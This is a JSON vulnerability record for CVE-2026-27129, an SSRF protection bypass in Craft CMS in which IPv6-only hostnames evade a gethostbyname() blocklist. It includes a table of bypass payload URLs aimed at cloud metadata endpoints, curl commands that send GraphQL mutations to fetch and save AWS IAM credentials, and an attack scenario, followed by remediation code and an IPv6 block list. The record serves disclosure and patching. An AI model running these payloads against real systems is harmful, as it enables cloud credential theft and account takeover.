{"id":"CVE-2026-27129","aliases":["GHSA-v2gc-rm6g-wrw9"],"url":"https://o3.security/vulnerability/CVE-2026-27129","summary":"Cloud Metadata SSRF Protection Bypass via IPv6 Resolution","details":"The SSRF validation in Craft CMS’s GraphQL Asset mutation uses `gethostbyname()`, which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.\n\nThis is a bypass of the security fix for CVE-2025-68437 ([GHSA-x27p-wfqw-hfcc](https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc)).\n\n## Required Permissions\n\nExploitation requires GraphQL schema permissions for:\n- Edit assets in the `<VolumeName>` volume\n- Create assets in the `<VolumeName>` volume\n\nThese permissions may be granted to:\n- Authenticated users with appropriate GraphQL schema access\n- Public Schema (if misconfigured with write permissions)\n\n---\n\n## Technical Details\n\n### Root Cause\n\nFrom PHP documentation: *\"gethostbyname - Get the IPv4 address corresponding to a given Internet host name\"*\n\nWhen no IPv4 (A record) exists, `gethostbyname()` returns the hostname string unchanged.\n\n### Bypass Mechanism\n\n```\n+-----------------------------------------------------------------------------+\n| Step 1: Attacker provides URL                                               |\n|         http://fd00-ec2--254.sslip.io/latest/meta-data/                     |\n+-----------------------------------------------------------------------------+\n| Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io')            |\n|         -> No A record exists                                               |\n|         -> Returns: \"fd00-ec2--254.sslip.io\" (string, not an IP!)           |\n+-----------------------------------------------------------------------------+\n| Step 3: Blocklist check                                                     |\n|         in_array(\"fd00-ec2--254.sslip.io\", ['169.254.169.254', ...])       |\n|         -> FALSE (string != IPv4 addresses)                                 |\n|         -> VALIDATION PASSES                                                |\n+-----------------------------------------------------------------------------+\n| Step 4: Guzzle makes HTTP request                                           |\n|         -> Resolves DNS (including AAAA records)                            |\n|         -> Gets IPv6: fd00:ec2::254                                         |\n|         -> Connects to AWS IMDS IPv6 endpoint                               |\n|         -> CREDENTIALS STOLEN                                               |\n+-----------------------------------------------------------------------------+\n```\n\n---\n\n## Bypass Payloads\n\n### Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents\n\n| Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload |\n|----------------|--------------|-----------------|----------------|\n| **AWS EC2 IMDS** | `169.254.169.254` | `fd00:ec2::254` | `http://fd00-ec2--254.sslip.io/` |\n| **AWS ECS** | `169.254.170.2` | `fd00:ec2::254` (via IMDS) | `http://fd00-ec2--254.sslip.io/` |\n| **Google Cloud GCP** | `169.254.169.254` | `fd20:ce::254` | `http://fd20-ce--254.sslip.io/` |\n| **Azure** | `169.254.169.254` | No IPv6 endpoint | N/A |\n| **Alibaba Cloud** | `100.100.100.200` | No documented IPv6 | N/A |\n| **Oracle Cloud** | `192.0.0.192` | No documented IPv6 | N/A |\n\n### Additional IPv6 Internal Service Bypass Payloads\n\n| Target | IPv6 Address | Bypass Payload |\n|--------|--------------|----------------|\n| **IPv6 Loopback** | `::1` | `http://0-0-0-0-0-0-0-1.sslip.io/` |\n| **AWS NTP Service** | `fd00:ec2::123` | `http://fd00-ec2--123.sslip.io/` |\n| **AWS DNS Service** | `fd00:ec2::253` | `http://fd00-ec2--253.sslip.io/` |\n| **IPv4-mapped IPv6** | `::ffff:169.254.169.254` | `http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/` |\n\n---\n\n## Steps to Reproduce\n\n### Step 1: Verify DNS Resolution\n\n```bash\n# Verify the hostname has no IPv4 record (what gethostbyname sees)\n$ dig fd00-ec2--254.sslip.io A +short\n# (empty - no IPv4 record)\n\n# Verify the hostname has IPv6 record (what Guzzle/curl uses)\n$ dig fd00-ec2--254.sslip.io AAAA +short\nfd00:ec2::254\n```\n\n### Step 2: Enumerate AWS IAM Role Name\n\n```bash\ncurl -sk \"https://TARGET/index.php?p=admin/actions/graphql/api\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer YOUR_GRAPHQL_TOKEN\" \\\n  -d '{\n    \"query\": \"mutation { save_photos_Asset(_file: { url: \\\"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\\\", filename: \\\"role.txt\\\" }) { id } }\"\n  }'\n```\n\n### Step 3: Retrieve AWS Credentials\n\n```bash\n# Replace ROLE_NAME with the role discovered in Step 2\ncurl -sk \"https://TARGET/index.php?p=admin/actions/graphql/api\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer YOUR_GRAPHQL_TOKEN\" \\\n  -d '{\n    \"query\": \"mutation { save_photos_Asset(_file: { url: \\\"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\\\", filename: \\\"creds.json\\\" }) { id } }\"\n  }'\n```\n\n### Step 4: Access Saved Credentials\n\nThe credentials will be saved to the asset volume (e.g., `/userphotos/photos/creds.json`).\n\n---\n\n### Attack Scenario\n\n1. Attacker finds Craft CMS instance with GraphQL asset mutations enabled\n2. Attacker sends mutation with `url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\"`\n3. Error message or saved file reveals IAM role name\n4. Attacker retrieves credentials via second mutation\n5. Attacker uses credentials to access AWS services\n6. **Attacker can now achieve code execution by creating new EC2 instances with their SSH key**\n\n---\n\n## Remediation\n\nReplace `gethostbyname()` with `dns_get_record()` to check both IPv4 and IPv6:\n\n```php\n// Resolve both IPv4 and IPv6 addresses\n$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);\nif ($records === false) {\n    $records = [];\n}\n\n// Blocked IPv6 metadata prefixes\n$blockedIPv6Prefixes = [\n    'fd00:ec2::',       // AWS IMDS, DNS, NTP\n    'fd20:ce::',        // GCP Metadata\n    '::1',              // Loopback\n    'fe80:',            // Link-local\n    '::ffff:',          // IPv4-mapped IPv6\n];\n\nforeach ($records as $record) {\n    // Check IPv4 (existing logic)\n    if (isset($record['ip']) && in_array($record['ip'], $blockedIPv4)) {\n        return false;\n    }\n\n    // Check IPv6 (NEW)\n    if (isset($record['ipv6'])) {\n        foreach ($blockedIPv6Prefixes as $prefix) {\n            if (str_starts_with($record['ipv6'], $prefix)) {\n                return false;\n            }\n        }\n    }\n}\n```\n\n### Additional Mitigations\n\n| Mitigation | Description |\n|------------|-------------|\n| Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes |\n| Use `dns_get_record()` | Resolves both IPv4 and IPv6 |\n\n---\n\n## Resources\n\n- https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3\n- [PHP: gethostbyname](https://www.php.net/manual/en/function.gethostbyname.php) - \"Get the **IPv4 address** corresponding to a given Internet host name\"\n- [GHSA-x27p-wfqw-hfcc](https://github.com/advisories/GHSA-x27p-wfqw-hfcc) - Original SSRF vulnerability (CVE-2025-68437)\n- [AWS IMDS IPv6 Documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html)\n- [GCP Metadata Server Documentation](https://cloud.google.com/compute/docs/metadata/querying-metadata)\n- [PayloadsAllTheThings - SSRF Cloud Instances](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances.md)","published":"2026-02-24T02:45:45.494Z","modified":"2026-08-12T03:51:24.258900408Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"craftcms/cms","fixedVersion":"5.8.23"},{"ecosystem":"Packagist","name":"craftcms/cms","fixedVersion":"4.16.19"}],"fix":{"url":"https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3","label":"craftcms/cms@2825388"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27129.json"},{"type":"ADVISORY","url":"https://github.com/craftcms/cms/security/advisories/GHSA-v2gc-rm6g-wrw9"},{"type":"ADVISORY","url":"https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27129"},{"type":"FIX","url":"https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3"},{"type":"PACKAGE","url":"https://github.com/craftcms/cms"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:24.258900408Z"}}